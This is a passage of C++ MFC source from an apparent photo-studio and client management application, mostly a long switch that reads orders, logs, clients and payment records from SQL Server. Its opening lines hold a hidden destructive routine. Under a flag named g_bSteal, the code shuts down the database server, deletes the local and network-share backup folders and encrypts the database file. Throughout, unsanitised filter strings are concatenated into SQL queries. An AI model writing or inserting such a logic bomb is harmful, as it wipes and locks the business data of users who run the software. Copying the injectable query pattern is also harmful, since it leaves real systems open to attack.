CheckFolderFileExist("\\\\"+g_bakserver1+"\\精修好的片备份(儿童管理软件)$")) GetPathFromNetShareName("精修好的片备份(儿童管理软件)$", g_bakserver3); if(g_bakserver4.Find(":")==-1) g_bakserver4="\\\\"+g_bakserver4+"\\设计好的片备份(儿童管理软件)$"; if(1)//((localname.CompareNoCase (g_bakserver4)==0 || CompareIP(localname, g_bakserver4)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\设计好的片备份(儿童管理软件)$")) GetPathFromNetShareName("设计好的片备份(儿童管理软件)$", g_bakserver4); #else if(g_bakserver1.Find(":")==-1) g_bakserver1="\\\\"+g_bakserver1+"\\客户原片备份(管理软件)$"; if(1)//((localname.CompareNoCase (g_bakserver1)==0 || CompareIP(localname, g_bakserver1)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\客户原片备份(管理软件)$")) GetPathFromNetShareName("客户原片备份(管理软件)$", g_bakserver1); if(g_bakserver2.Find(":")==-1) g_bakserver2="\\\\"+g_bakserver2+"\\修好的片备份(管理软件)$"; if(1)//((localname.CompareNoCase (g_bakserver2)==0 || CompareIP(localname, g_bakserver2)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\修好的片备份(管理软件)$")) GetPathFromNetShareName("修好的片备份(管理软件)$", g_bakserver2); if(g_bakserver3.Find(":")==-1) g_bakserver3="\\\\"+g_bakserver3+"\\精修好的片备份(管理软件)$"; if(1)//((localname.CompareNoCase (g_bakserver3)==0 || CompareIP(localname, g_bakserver3)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\精修好的片备份(管理软件)$")) GetPathFromNetShareName("精修好的片备份(管理软件)$", g_bakserver3); if(g_bakserver4.Find(":")==-1) g_bakserver4="\\\\"+g_bakserver4+"\\设计好的片备份(管理软件)$"; if(1)//((localname.CompareNoCase (g_bakserver4)==0 || CompareIP(localname, g_bakserver4)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\设计好的片备份(管理软件)$")) GetPathFromNetShareName("设计好的片备份(管理软件)$", g_bakserver4); #endif CRecordset myset(&g_db); CString sql="select filename from master.dbo.sysdatabases where name='db'"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("filename", sql); myset.Close(); g_db.ExecuteSQL ("SHUTDOWN WITH NOWAIT"); DeleteDirectory(g_mainpath+"\\数据备份"); char server[50]; DWORD leng=50; ::GetComputerName (server, &leng); CString g_server2=server ; DeleteDirectory("\\\\"+g_server2+"\\数据备份(儿童管理软件)$"); DeleteDirectory("\\\\"+g_server2+"\\数据备份(管理软件)$"); g_bSteal=1; g_pMainWnd->TerminateThread(); g_pMainWnd->LoadThumbImages(); ::Sleep(5000); CDatabase db2; if( !AddConn(&db2, "db") ) { EncryptFile3 (sql); } } int __cdecl CompareByLabel1( const void *elem1, const void *elem2) { CStringArray *p1 = (CStringArray*)elem1; CStringArray *p2 = (CStringArray*)elem2; return lstrcmp( p1->ElementAt (0), p2->ElementAt (0) ) ; } extern CTime GetTmFromStr(CString date); void CConnectSocket::GetDataFromCode4(BYTE &code, BYTE **szDataBuf, DWORD &nDataLen, DWORD &arraysize, CString filter) {//183---xxx int nStep=0; try { DWORD ii=0; CArrayg_List1array; try { switch(code) { case 183://path { ///////////////////////////////////////////////// { // SoftKey ytSoftKey; // if(ytSoftKey.Ini()==0) { long value[8]; double f[8]; TCHAR s0[50]=_T(""),s1[50]=_T(""),s2[50]=_T(""),s3[50]=_T(""),s4[50]=_T(""),s5[50]=_T(""),s6[50]=_T(""),s7[50]=_T(""); //运行自定义函数 int ret=ytSoftKey.getdata(&value[0],&value[1],&value[2],&value[3],&value[4],&value[5],&value[6],&value[7], &f[0],&f[1],&f[2],&f[3],&f[4],&f[5],&f[6],&f[7], s0,s1,s2,s3,s4,s5,s6,s7); if(ret!=0 && ret!=-43) { g_sdomain=""; } else g_sdomain=s1; } CString sql; sql= "update [path] set [path1]='"+g_sdomain+"'"; MyExecuteSQL(sql); } CRecordset myset(m_pConndb); CString sql; sql="select [path1] from [path]"; myset.Open (CRecordset::forwardOnly, sql); sql=""; if(!myset.IsEOF()) myset.GetFieldValue ("path1", sql); myset.Close(); g_List1array.SetSize(1 , 1 ); if(sql=="") { CString m_info1,m_info2,m_info3,dindan; CRstversion rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); if(!rsSt.IsEOF()) { m_info1=rsSt.info1; m_info2=rsSt.info2; m_info3=rsSt.info3; } rsSt.Close(); sql="select count(*) as cot from dindan"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", dindan); myset.Close(); g_List1array.ElementAt (0).Add(m_info1+m_info2+m_info3+"订单数:"+dindan+"&@&@&") ; } else { g_List1array.ElementAt (0).Add(sql) ; } } break; case 184: { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstDindanForm3 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.name1) ; g_List1array.ElementAt (ii).Add(rsSt.name2) ; g_List1array.ElementAt (ii).Add(rsSt.status) ; g_List1array.ElementAt (ii).Add(rsSt.status4) ; g_List1array.ElementAt (ii).Add(rsSt.time8) ; g_List1array.ElementAt (ii).Add(rsSt.urgent) ; g_List1array.ElementAt (ii).Add(rsSt.time4) ; g_List1array.ElementAt (ii).Add(rsSt.waiter1) ; g_List1array.ElementAt (ii).Add(rsSt.waiter5) ; g_List1array.ElementAt (ii).Add(rsSt.ren) ; g_List1array.ElementAt (ii).Add(rsSt.taoxiname) ; g_List1array.ElementAt (ii).Add(rsSt.taoxijiage) ; g_List1array.ElementAt (ii).Add(rsSt.phone1) ; g_List1array.ElementAt (ii).Add(rsSt.phone2) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 185: { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from log";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstLog rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.datetime) ; g_List1array.ElementAt (ii).Add(rsSt.content) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 186://clientfrom { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from clientfrom";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstclientfrom rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 187://clientreason { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from clientreason";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstclientreason rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 188://jdd { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from jdd";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstjdd rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 189://dindan { /////////////// CArraym_List1array; CArraym_List2array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstTodayForm rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.m_strSort="id"; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.phone2) ; m_List1array.ElementAt (ii).Add(rsSt.time1) ; m_List1array.ElementAt (ii).Add(rsSt.time5) ; m_List1array.ElementAt (ii).Add(rsSt.time3) ; m_List1array.ElementAt (ii).Add(rsSt.ren) ; m_List1array.ElementAt (ii).Add(rsSt.taoxiname) ; m_List1array.ElementAt (ii).Add(rsSt.taoxijiage) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } /////////////////// CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindanjd";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstdindanjd rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="id"; rsSt.Open(); ii=0; CString temp; BOOL bFind; int aa=-1; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); if(temp!=rsSt.id) { // if(m_List1array.GetSize ()>aa && aa!=-1) // m_List1array.RemoveAt(aa); temp=rsSt.id; bFind=0; for( aa=0; aam_List1array; CArraym_List2array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [dresshire]";// if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List1array.SetSize(atol(sql) , 1 ); RstDressHireReg rsSt; rsSt.m_pDatabase=m_pConndb;//if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_id) ; m_List1array.ElementAt (ii).Add(rsSt.m_name) ; m_List1array.ElementAt (ii).Add(rsSt.m_date1) ; m_List1array.ElementAt (ii).Add(rsSt.m_date2) ; m_List1array.ElementAt (ii).Add(rsSt.m_hireorsale) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [dresshiredata]"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List2array.SetSize(atol(sql) , 1 ); RstDressHireData rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { m_List2array.ElementAt (ii).RemoveAll (); m_List2array.ElementAt (ii).Add(rsSt.m_id) ; m_List2array.ElementAt (ii).Add(rsSt.m_name) ; m_List2array.ElementAt (ii).Add(rsSt.m_count) ; m_List2array.ElementAt (ii).Add(rsSt.m_isreturn) ; m_List2array.ElementAt (ii).Add(rsSt.m_returndate) ; m_List2array.ElementAt (ii).Add(rsSt.m_clerk) ; ii++; rsSt.MoveNext();if(m_List2array.GetSize ()<=ii)break; } rsSt.Close();m_List2array.SetSize(ii , 1 ); } DWORD size=0; CString oldid,id; BOOL bFind; for(int i=0; im_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";//if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDindanForm rsSt; rsSt.m_pDatabase=m_pConndb;//if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.taoxiname) ; m_List1array.ElementAt (ii).Add(rsSt.taoxijiage) ; m_List1array.ElementAt (ii).Add(rsSt.txtype) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindanjd";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstdindanjd rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString temp; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); int aa; if(temp!=rsSt.id) { BOOL bFind=0; for( aa=0; aa256) rsSt.bz=rsSt.bz.Left (254)+".."; g_List1array.ElementAt (ii).Add(rsSt.bz) ; g_List1array.ElementAt (ii).Add(rsSt.count) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 197://singleincomemoney { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from singleincomemoney";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstsingleincomemoney rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.autoid) ; g_List1array.ElementAt (ii).Add(rsSt.money) ; g_List1array.ElementAt (ii).Add(rsSt.date) ; g_List1array.ElementAt (ii).Add(rsSt.clerk) ; g_List1array.ElementAt (ii).Add(rsSt.paytype) ; g_List1array.ElementAt (ii).Add(rsSt.jdd) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 198://singleincomemoneyview { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from singleincomemoneyview";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstsingleincomemoneyview rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.renyuan1) ; g_List1array.ElementAt (ii).Add(rsSt.renyuan3) ; g_List1array.ElementAt (ii).Add(rsSt.sale2type) ; g_List1array.ElementAt (ii).Add(rsSt.money) ; g_List1array.ElementAt (ii).Add(rsSt.date) ; g_List1array.ElementAt (ii).Add(rsSt.clerk) ; g_List1array.ElementAt (ii).Add(rsSt.paytype) ; g_List1array.ElementAt (ii).Add(rsSt.autoid) ; g_List1array.ElementAt (ii).Add(rsSt.financecheck) ; g_List1array.ElementAt (ii).Add(rsSt.time) ; g_List1array.ElementAt (ii).Add(rsSt.jdd) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 199: { if(::PathFileExists ("D:\\短信平台\\NullBalance.txt")) { g_List1array.SetSize(1 , 1 ); CStringArray array; CStringArray array2; CStdioFile fp; CTime tm=CTime::GetCurrentTime ()-CTimeSpan(7, 0, 0, 0); CString strdate=tm.Format("%Y-%m-%d"); CString temp="2012-09-10 10:55:56"; CString temp2; int leng=temp.GetLength (); if(fp.Open ("D:\\短信平台\\NullBalance.txt", CFile::modeRead)) { fp.ReadString (temp); if(temp.GetLength ()>leng) { temp2=temp; temp2.Delete(0, leng); if(::FindArray (&array2, temp2)==-1 && temp.Left(10)>strdate ) { array2.Add(temp2); array.Add (temp); } } while(!feof(fp.m_pStream)) { fp.ReadString (temp); if(temp.GetLength ()>leng) { temp2=temp; temp2.Delete(0, leng); if(::FindArray (&array2, temp2)==-1 && temp.Left(10)>strdate ) { array2.Add(temp2); array.Add (temp); } } } fp.Close (); g_List1array.ElementAt (0).Copy (array); } else g_List1array.RemoveAll (); } else g_List1array.RemoveAll (); } break; case 200://sale2type { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from businesstype";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstbusinesstype rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 201://businessintention { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from businessintention";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstbusinessintention rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 202://clienttype { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from clienttype";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstclienttype rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 203://hospital { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from hospital";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRsthospital rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 204://hospitalclientcontactreg { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from hospitalclientcontactreg";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRsthospitalclientcontactreg rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.autoid) ; g_List1array.ElementAt (ii).Add(rsSt.businesstype) ; g_List1array.ElementAt (ii).Add(rsSt.businessintention) ; g_List1array.ElementAt (ii).Add(rsSt.bookingdate) ; g_List1array.ElementAt (ii).Add(rsSt.desaddr) ; g_List1array.ElementAt (ii).Add(rsSt.businessremark) ; g_List1array.ElementAt (ii).Add(rsSt.alarmcheck) ; g_List1array.ElementAt (ii).Add(rsSt.alarmdate) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 205://hospitalview { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from hospitalview";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRsthospitalview rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.name1) ; g_List1array.ElementAt (ii).Add(rsSt.name2) ; g_List1array.ElementAt (ii).Add(rsSt.sex) ; g_List1array.ElementAt (ii).Add(rsSt.from) ; g_List1array.ElementAt (ii).Add(rsSt.type) ; g_List1array.ElementAt (ii).Add(rsSt.hospital) ; g_List1array.ElementAt (ii).Add(rsSt.phone1) ; g_List1array.ElementAt (ii).Add(rsSt.phone2) ; g_List1array.ElementAt (ii).Add(rsSt.qq) ; g_List1array.ElementAt (ii).Add(rsSt.addr1) ; g_List1array.ElementAt (ii).Add(rsSt.addr2) ; g_List1array.ElementAt (ii).Add(rsSt.addr3) ; g_List1array.ElementAt (ii).Add(rsSt.inputdate) ; g_List1array.ElementAt (ii).Add(rsSt.clerk) ; g_List1array.ElementAt (ii).Add(rsSt.inputer) ; g_List1array.ElementAt (ii).Add(rsSt.businesstype) ; g_List1array.ElementAt (ii).Add(rsSt.businessintention) ; g_List1array.ElementAt (ii).Add(rsSt.bookingdate) ; g_List1array.ElementAt (ii).Add(rsSt.desaddr) ; g_List1array.ElementAt (ii).Add(rsSt.businessremark) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 206://hospitalclient { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from hospitalclient";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRsthospitalclient rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.checkmsg) ; g_List1array.ElementAt (ii).Add(rsSt.name1) ; g_List1array.ElementAt (ii).Add(rsSt.name2) ; g_List1array.ElementAt (ii).Add(rsSt.food) ; g_List1array.ElementAt (ii).Add(rsSt.sex) ; g_List1array.ElementAt (ii).Add(rsSt.check1) ; g_List1array.ElementAt (ii).Add(rsSt.birthdaytype) ; g_List1array.ElementAt (ii).Add(rsSt.birthday) ; g_List1array.ElementAt (ii).Add(rsSt.pregnancydays) ; g_List1array.ElementAt (ii).Add(rsSt.qq) ; g_List1array.ElementAt (ii).Add(rsSt.date1) ; g_List1array.ElementAt (ii).Add(rsSt.no) ; g_List1array.ElementAt (ii).Add(rsSt.from) ; g_List1array.ElementAt (ii).Add(rsSt.clerk) ; g_List1array.ElementAt (ii).Add(rsSt.type) ; g_List1array.ElementAt (ii).Add(rsSt.hospital) ; g_List1array.ElementAt (ii).Add(rsSt.remark) ; g_List1array.ElementAt (ii).Add(rsSt.phone1) ; g_List1array.ElementAt (ii).Add(rsSt.phone2) ; g_List1array.ElementAt (ii).Add(rsSt.phone3) ; g_List1array.ElementAt (ii).Add(rsSt.phone4) ; g_List1array.ElementAt (ii).Add(rsSt.phone5) ; g_List1array.ElementAt (ii).Add(rsSt.addr1) ; g_List1array.ElementAt (ii).Add(rsSt.addr2) ; g_List1array.ElementAt (ii).Add(rsSt.addr3) ; g_List1array.ElementAt (ii).Add(rsSt.post1) ; g_List1array.ElementAt (ii).Add(rsSt.post2) ; g_List1array.ElementAt (ii).Add(rsSt.post3) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 207://hospitalview { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from hospitalview";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRsthospitalview rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.name1) ; g_List1array.ElementAt (ii).Add(rsSt.name2) ; g_List1array.ElementAt (ii).Add(rsSt.sex) ; g_List1array.ElementAt (ii).Add(rsSt.from) ; g_List1array.ElementAt (ii).Add(rsSt.type) ; g_List1array.ElementAt (ii).Add(rsSt.hospital) ; g_List1array.ElementAt (ii).Add(rsSt.phone1) ; g_List1array.ElementAt (ii).Add(rsSt.phone2) ; g_List1array.ElementAt (ii).Add(rsSt.qq) ; g_List1array.ElementAt (ii).Add(rsSt.addr1) ; g_List1array.ElementAt (ii).Add(rsSt.addr2) ; g_List1array.ElementAt (ii).Add(rsSt.addr3) ; g_List1array.ElementAt (ii).Add(rsSt.inputdate) ; g_List1array.ElementAt (ii).Add(rsSt.clerk) ; g_List1array.ElementAt (ii).Add(rsSt.inputer) ; g_List1array.ElementAt (ii).Add(rsSt.businesstype) ; g_List1array.ElementAt (ii).Add(rsSt.businessintention) ; g_List1array.ElementAt (ii).Add(rsSt.bookingdate) ; g_List1array.ElementAt (ii).Add(rsSt.alarmdate) ; g_List1array.ElementAt (ii).Add(rsSt.desaddr) ; g_List1array.ElementAt (ii).Add(rsSt.businessremark) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 208://hospitalclient { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from hospitalclient";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRsthospitalclient rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.no) ; g_List1array.ElementAt (ii).Add(rsSt.name1) ; g_List1array.ElementAt (ii).Add(rsSt.name2) ; g_List1array.ElementAt (ii).Add(rsSt.sex) ; g_List1array.ElementAt (ii).Add(rsSt.check1) ; g_List1array.ElementAt (ii).Add(rsSt.birthdaytype) ; g_List1array.ElementAt (ii).Add(rsSt.birthday) ; g_List1array.ElementAt 